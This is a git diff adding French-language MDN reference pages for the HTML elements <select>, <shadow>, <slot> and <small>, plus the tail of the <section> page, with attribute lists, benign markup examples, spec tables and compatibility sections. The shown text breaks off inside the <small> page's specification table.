+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.section")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs au plan du document : {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">Structure et sections d'un document HTML5</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/Roles/Region_role">ARIA : le rôle <code>region</code></a></li>
+</ul>
diff --git a/files/fr/web/html/element/select/index.html b/files/fr/web/html/element/select/index.html
new file mode 100644
index 0000000000..5204079995
--- /dev/null
+++ b/files/fr/web/html/element/select/index.html
@@ -0,0 +1,217 @@
+---
+title: <select>
+slug: Web/HTML/Element/select
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/select
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;select&gt;</code></strong> représente un contrôle qui fournit une liste d'options parmi lesquelles l'utilisateur pourra choisir.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/select.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'exemple ci-avant illustre une utilisation simple de <code>&lt;select&gt;</code> où l'attribut <code>id</code> peut être associé à un élément {{htmlelement("label")}} qui permettra d'avoir un libellé accessible pour ce champ et où un attribut <code>name</code> représente le nom de la donnée qui sera envoyée au serveur. Chaque option est définie grâce à un élément {{htmlelement("option")}} qui se situe à l'intérieur de l'élément <code>&lt;select&gt;</code>.</p>
+
+<p>Chaque élément <code>&lt;option&gt;</code> doit avoir un attribut <code>value</code> qui contient la valeur qui sera envoyée au serveur lorsque l'option est sélectionnée. Si aucune valeur n'est fournie, la valeur par défaut sera le texte contenu dans l'élément. Il est possible d'inclure un attribut <code>selected</code> sur un élément <code>&lt;option&gt;</code> afin que cette option soit sélectionnée par défaut au chargement de la page.</p>
+
+<p>L'élément <code>&lt;select&gt;</code> possède certains attributs spécifiques dont <code>multiple</code> qui permet de choisir plusieurs options simultanément et <code>size</code> qui indique le nombre d'options affichées en même temps. Cet élément accepte également divers attributs qui sont utilisés pour les champs de formulaire tels que <code>required</code>, <code>disabled</code>, <code>autofocus</code>, etc.</p>
+
+<p>Il est possible de regrouper plusieurs éléments <code>&lt;option&gt;</code> à l'intérieur d'éléments {{htmlelement("optgroup")}} afin de créer des groupes d'options distincts.</p>
+
+<p>Pour plus d'exemples, voir <a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs#Contenu_déroulant">les contrôles natifs pour les formulaires</a>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, celui-ci inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autocomplete")}}</dt>
+ <dd>Une chaîne de caractères qui fournit une indication à l'agent utilisateur pour les fonctionnalités d'autocomplétion. Voir <a href="/fr/docs/Web/HTML/Attributs/autocomplete">la page sur l'attribut <code>autocomplete</code></a> pour une liste des valeurs utilisables et de leurs impacts sur l'autocomplétion.</dd>
+ <dt>{{htmlattrdef("autofocus")}}</dt>
+ <dd>Cet attribut booléen permet d'indiquer si ce contrôle du formulaire devrait recevoir le focus au chargement de la page. Pour un même document, seul un élément de formulaire peut avoir l'attribut <code>autofocus</code> activé.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Cet attribut booléen indique que l'utilisateur ne peut pas intéragir avec le contrôle. Si cet attribut n'est pas utilisé, le contrôle héritera de l'état paramétré selon son conteneur (par exemple, via son élément parent {{HTMLElement("fieldset")}}. Si aucun élément parent n'a l'attribut <code>disabled</code> activé, le contrôle sera actif.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>Cet attribut sert de référence au formulaire auquel est associé cet élément. Si cet attribut est utilisé, sa valeur doit être l'identifiant d'un élément {{HTMLElement("form")}} du même document. Cet attribut permet de placer des éléments n'importe où dans le document et pas nécessairement comme descendants d'un formulaire.</dd>
+ <dt>{{htmlattrdef("multiple")}}</dt>
+ <dd>Cet attribut booléen indique qu'on peut sélectionner plusieurs options parmi celles offertes dans le contrôle. Par défaut, si cet attribut n'est pas utilisé, seule une option peut être sélectionnée.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom associé au contrôle.</dd>
+ <dt>{{htmlattrdef("required")}}</dt>
+ <dd>Un attribut booléen qui indique qu'une option dont la valeur est une chaîne de caractères non-vide doit être sélectionnée.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>Si le contrôle est affichée comme une liste déroulante, cet attribut indique le nombre de lignes qui doivent être visibles à l'écran en même temps. On notera que les navigateurs ne sont pas obligés de présenter un élément <code>&lt;select</code><code>&gt;</code> sous la forme d'une liste déroulante. La valeur par défaut de cet attribut est 0 (cf. notes de compatibilité ci-après).</dd>
+</dl>
+
+<h2 id="Mise_en_forme_avec_CSS">Mise en forme avec CSS</h2>
+
+<p>Il est communément admis que l'élément <code>&lt;select&gt;</code> est difficilement mis en forme avec CSS. Certains aspects de l'élément, <a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">son modèle de boîte</a>, <a href="/fr/docs/Web/CSS/CSS_Fonts">la police utilisée</a> ou encore l'apparence ({{cssxref("appearance")}}), peuvent être modifiés.</p>
+
+<p>Toutefois, ces propriétés peuvent fournir des résultats incohérents entre les différents navigateurs et il peut être difficile d'aligner différents contrôles sur une colonne.Aussi, si la structure interne de cet élément est trop complexe, on pourra créer un tel contrôle en utilisant des éléments non sémantiques, du code JavaScript et WAI-ARIA afin de décrire la sémantique du contrôle.</p>
+
+<p>Pour plus d'informations sur la mise en forme de <code>&lt;select&gt;</code> :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mettre en forme les formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_basique">Exemple basique</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;!-- C'est la deuxième valeur --&gt;
+&lt;!-- qui sera initialement sélectionnée --&gt;
+&lt;select id="monselect"&gt;
+  &lt;option value="valeur1"&gt;Valeur 1&lt;/option&gt;
+  &lt;option value="valeur2" selected&gt;Valeur 2&lt;/option&gt;
+  &lt;option value="valeur3"&gt;Valeur 3&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_basique","100%","150")}}</p>
+
+<h3 id="Exemple_multi-selection">Exemple multi-selection</h3>
+
+<p>L'exemple qui suit est légèrement plus complexe et illustre certaines fonctionnalités qui peuvent être utilisées avec un élément <code>&lt;select&gt;</code> :</p>
+
+<pre class="brush: html">&lt;label&gt;Veuillez choisir un ou plusieurs animaux :
+  &lt;select name="pets" multiple size="4"&gt;
+    &lt;optgroup label="Animaux à 4-jambes"&gt;
+      &lt;option value="Chien"&gt;Chien&lt;/option&gt;
+      &lt;option value="chat"&gt;Chat&lt;/option&gt;
+      &lt;option value="hamster" disabled&gt;Hamster&lt;/option&gt;
+    &lt;/optgroup&gt;
+    &lt;optgroup label="Animaux volants"&gt;
+      &lt;option value="perroquet"&gt;Perroquet&lt;/option&gt;
+      &lt;option value="macaw"&gt;Macaw&lt;/option&gt;
+      &lt;option value="albatros"&gt;Albatros&lt;/option&gt;
+    &lt;/optgroup&gt;
+  &lt;/select&gt;
+&lt;/label&gt;
+</pre>
+
+<p id="Result_2">Cet exemple n'est pas disponible de façon interactive (le moteur de MDN supprime l'attribut <code>multiple</code> lors de l'affichage de la page) mais vous pouvez voir <a href="https://mdn.github.io/learning-area/html/forms/select-example/select-multiple.html">l'exemple sur GitHub</a>.</p>
+
+<p id="Notes_2">Vous pourrez voir que :</p>
+
+<ul>
+ <li>Plusieurs options peuvent être sélectionnées grâce à l'attribut <code>multiple</code>.</li>
+ <li>L'attribut <code>size</code> permet d'afficher uniquement 4 lignes simultanément et qu'il faut faire défiler le contenu.</li>
+ <li>Les éléments <code>&lt;optgroup&gt;</code> ont été utilisés pour diviser les choix en différents groupes. Cela applique un effet simplement visuel (avec le nom en gras et les options indentées).</li>
+ <li>Le choix "Hamster" est présent avec l'attribut <code>disabled</code> et ne peut donc pas être sélectionné.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong> : Sur un ordinateur de bureau, on pourra maintenir les touches <kbd>Ctrl</kbd>, <kbd>Command</kbd>, ou <kbd>Shift</kbd> en cliquant afin de sélectionner/déselectionner plusieurs options.</p>
+</div>
+
+<h3 id="Sélectionner_plusieurs_options">Sélectionner plusieurs options</h3>
+
+<p>Sur un ordinateur de bureau, il existe différentes façons de sélectionner plusieurs options pour un élément <code>&lt;select&gt;</code> utilisant un attribut <code>multiple</code>.</p>
+
+<p>Pour les personnes qui utilisent la souris, il est possible de maintenir les touches <kbd>Ctrl</kbd>, <kbd>Command</kbd> ou <kbd>Shift</kbd> (selon le système d'exploitation utilisé) et de cliquer sur les différentes options afin de les sélectionner/déselectionner.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Les moyens décrits ci-après pour sélectionner des options qui ne sont pas contigües semblent ne fonctionner qu'avec Firefox. On notera également que sur macOS, les raccourcis <kbd>Ctrl</kbd> + <kbd>Bas</kbd> et <kbd>Ctrl</kbd> + <kbd>Haut</kbd> sont utilisées par défaut par le système d'exploitation et qu'il faut les désactiver si on souhaite qu'ils fonctionnent dans le navigateurs.</p>
+</div>
+
+<p>Les utilisateurs du clavier pourront sélectionner des options contigües de la façon suivante :</p>
+
+<ul>
+ <li>Placer le focus sur l'élément <code>&lt;select&gt;</code> (avec la touche <kbd>Tab</kbd> par exemple).</li>
+ <li>Sélectionner une option en haut ou en bas de l'intervalle en se déplaçant avec les touches <kbd>Haut</kbd> et <kbd>Bas</kbd>.</li>
+ <li>Maintenir la touche <kbd>Shift</kbd> puis utiliser les touches <kbd>Haut</kbd> et <kbd>Bas</kbd> pour augmenter ou réduire le nombre d'options sélectionnées.</li>
+</ul>
+
+<p>Les utilisateurs du clavier pourront sélectionner des options non-contigües de la façon suivante :</p>
+
+<ul>
+ <li>Placer le focus sur l'élément <code>&lt;select&gt;</code> (avec la touche <kbd>Tab</kbd> par exemple).</li>
+ <li>Maintenir la touche <kbd>Ctrl</kbd> puis utiliser les touches <kbd>Haut</kbd> et <kbd>Bas</kbd> pour modifier le focus sur l'option qu'on souhaite choisir ou rejeter. L'option avec le focus sera entourée par un contour en pointillé.</li>
+ <li>Appuyer sur <kbd>Espace</kbd> pour sélectionner/déselectionner les options avec le focus et ainsi de suite pour les différentes options.</li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_interactif">contenu interactif</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_associé_aux_formulaires">contenu de formulaire</a> (listé, étiquetable, réinitialisable, qui peut être envoyé).</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro ou plusieurs éléments {{HTMLElement("option")}} ou {{HTMLElement("optgroup")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisé</th>
+   <td>{{ARIARole("menu")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLSelectElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-select-element', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-select-element', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.select")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux formulaires : {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("option")}}, {{HTMLElement("datalist")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} et {{HTMLElement("meter")}}</li>
+ <li>Les évènements déclenchés par <code>&lt;select&gt;</code> : <code><a href="/fr/docs/Web/Events/input">input</a></code>, <code><a href="/fr/docs/Web/Events/change">change</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/shadow/index.html b/files/fr/web/html/element/shadow/index.html
new file mode 100644
index 0000000000..190d28644b
--- /dev/null
+++ b/files/fr/web/html/element/shadow/index.html
@@ -0,0 +1,116 @@
+---
+title: '<shadow> : l''élément obsolète pour la racine virtuelle'
+slug: Web/HTML/Element/Shadow
+tags:
+  - Composant web
+  - Déprécié
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/shadow
+---
+<div>{{deprecated_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;shadow&gt;</code></strong> était utilisé comme un point d'insertion ({{glossary("insertion point")}}) du <em>shadow DOM</em>. Cet élément a été retiré de la spécification et est <a href="https://github.com/w3c/webcomponents/commit/041ba5518b9372768234d2766de503b98a03fa45">désormais obsolète</a>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici un exemple simple de l'utilisation de l'élément <code>&lt;shadow&gt;</code>. Il s'agit d'un fichier HTML pourvu de tout ce qui est nécessaire.</p>
+
+<div class="note">
+<p><strong>Note :</strong> il s'agit d'une technologie expérimentale. Pour faire fonctionner ce code, le navigateur où vous l'affichez doit supporter les composants web (<em>web components</em>). Pour plus d'informations, voir <a href="/fr/docs/Web/Web_Components#Activer_les_Web_Components_dans_Firefox">Activer les composants web sous Firefox</a>.</p>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;&lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;!-- Ce &lt;div&gt; accueillera les shadow roots. --&gt;
+  &lt;div&gt;
+    &lt;!-- Ce titre ne sera pas affiché --&gt;
+    &lt;h4&gt;My Original Heading&lt;/h4&gt;
+  &lt;/div&gt;
+
+  &lt;script&gt;
+    // Récupère le contenu du &lt;div&gt; ci-dessus
+    var origContent = document.querySelector('div');
+    // Crée le premier shadow root
+    var shadowroot1 = origContent.createShadowRoot();
+    // Crée le second shadow root
+    var shadowroot2 = origContent.createShadowRoot();
+
+    // Insère un contenu dans le plus vieux shadow root
+    shadowroot1.innerHTML =
+      '&lt;p&gt;Older shadow root inserted by &amp;lt;shadow&amp;gt;&lt;/p&gt;';
+    // Insère dans le plus jeune shadow root, y compris &lt;shadow&gt;.
+    // La balise précédente ne sera pas affichée à moins que
+    // l'élément &lt;shadow&gt; ne soit utilisé ci-dessous.
+    shadowroot2.innerHTML =
+      '&lt;shadow&gt;&lt;/shadow&gt; &lt;p&gt;Younger shadow root, displayed because it is the youngest.&lt;/p&gt;';
+  &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Résultat_statique">Résultat statique</h3>
+
+<p><img alt="shadow example" src="https://mdn.mozillademos.org/files/10083/shadow-example.png" style="height: 343px; width: 641px;"></p>
+
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu">Catégories de contenu </a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Content_categories#Transparent_content_model">Contenu transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé </dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément qui accepte un contenu de flux.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLShadowElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément ne fait plus partie d'aucune spécification.</p>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.shadow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+ <li>{{HTMLElement("content")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+ <li>{{HTMLElement("slot")}}</li>
+ <li>{{HTMLElement("element")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/slot/index.html b/files/fr/web/html/element/slot/index.html
new file mode 100644
index 0000000000..b2ff092601
--- /dev/null
+++ b/files/fr/web/html/element/slot/index.html
@@ -0,0 +1,130 @@
+---
+title: <slot>
+slug: Web/HTML/Element/slot
+tags:
+  - Composant web
+  - Element
+  - HTML
+  - Reference
+  - Web
+  - shadow dom
+translation_of: Web/HTML/Element/slot
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;slot&gt;</code></strong> représente un emplacement d'un composant web qu'on peut remplir avec son propre balisage. On peut ainsi obtenir un document construit avec différents arbres DOM. Cet élément fait partie des outils relatifs <a href="/fr/docs/Web/Web_Components">aux composants web (Web Components)</a>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom de l'emplacement créé.</dd>
+ <dd>Un <strong><dfn>« slot » nommé</dfn></strong> est un élément <code>&lt;slot&gt;</code> avec un attribut <code>name</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html notranslate">&lt;template id="element-details-template"&gt;
+  &lt;style&gt;
+    details {font-family: "Open Sans Light", Helvetica, Arial, sans-serif }
+    .name {font-weight: bold; color: #217ac0; font-size: 120% }
+    h4 {
+      margin: 10px 0 -8px 0;
+      background: #217ac0;
+      color: white;
+      padding: 2px 6px;
+      border: 1px solid #cee9f9;
+      border-radius: 4px;
+    }
+    .attributes { margin-left: 22px; font-size: 90% }
+    .attributes p { margin-left: 16px; font-style: italic }
+  &lt;/style&gt;
+  &lt;details&gt;
+    &lt;summary&gt;
+      &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;Remplacer ce nom&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+      &lt;i class="desc"&gt;&lt;slot name="description"&gt;Remplacer cette description&lt;/slot&gt;&lt;/i&gt;
+    &lt;/summary&gt;
+    &lt;div class="attributes"&gt;
+      &lt;h4&gt;Attributs&lt;/h4&gt;
+      &lt;slot name="attributes"&gt;&lt;p&gt;Aucun&lt;/p&gt;&lt;/slot&gt;
+    &lt;/div&gt;
+  &lt;/details&gt;
+  &lt;hr&gt;
+&lt;/template&gt;</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Vous pouvez retrouver cet exemple sur <a href="https://github.com/mdn/web-components-examples/tree/master/element-details">ce dépôt GitHub</a> et observer <a href="https://mdn.github.io/web-components-examples/element-details/">son fonctionnement en live ici</a>. Une explication plus détaillée est également disponible avec l'article <a href="/fr/docs/Web/Web_Components/Using_templates_and_slots">Manipuler <code>template</code> et <code>slot</code></a>.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Modèle_de_contenu_transparent">Contenu transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Évènements</th>
+   <td>{{event("slotchange")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé"> contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLSlotElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#the-slot-element','&lt;slot&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#shadow-tree-slots','Slots')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.slot")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("template")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/small/index.html b/files/fr/web/html/element/small/index.html
new file mode 100644
index 0000000000..79fc586934
--- /dev/null
+++ b/files/fr/web/html/element/small/index.html
@@ -0,0 +1,114 @@
+---
+title: <small>
+slug: Web/HTML/Element/small
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/small
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;small&gt;</code></strong> permet de représenter des commentaires ou des textes à écrire en petits caractères (des termes d'un contrat, des mentions relatives au droit d'auteur, etc.) quelle que soit la présentation.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/small.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+   Voici une phrase avant des infos à
+   présenter en plus petit.
+   &lt;small&gt;© tous droits réservés&lt;/small&gt;
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","120")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories de contenu</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Aucune, la balise ouvrante et la balise fermante doivent toutes les deux être présentes.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a> ou tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-small-element', '&lt;small&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
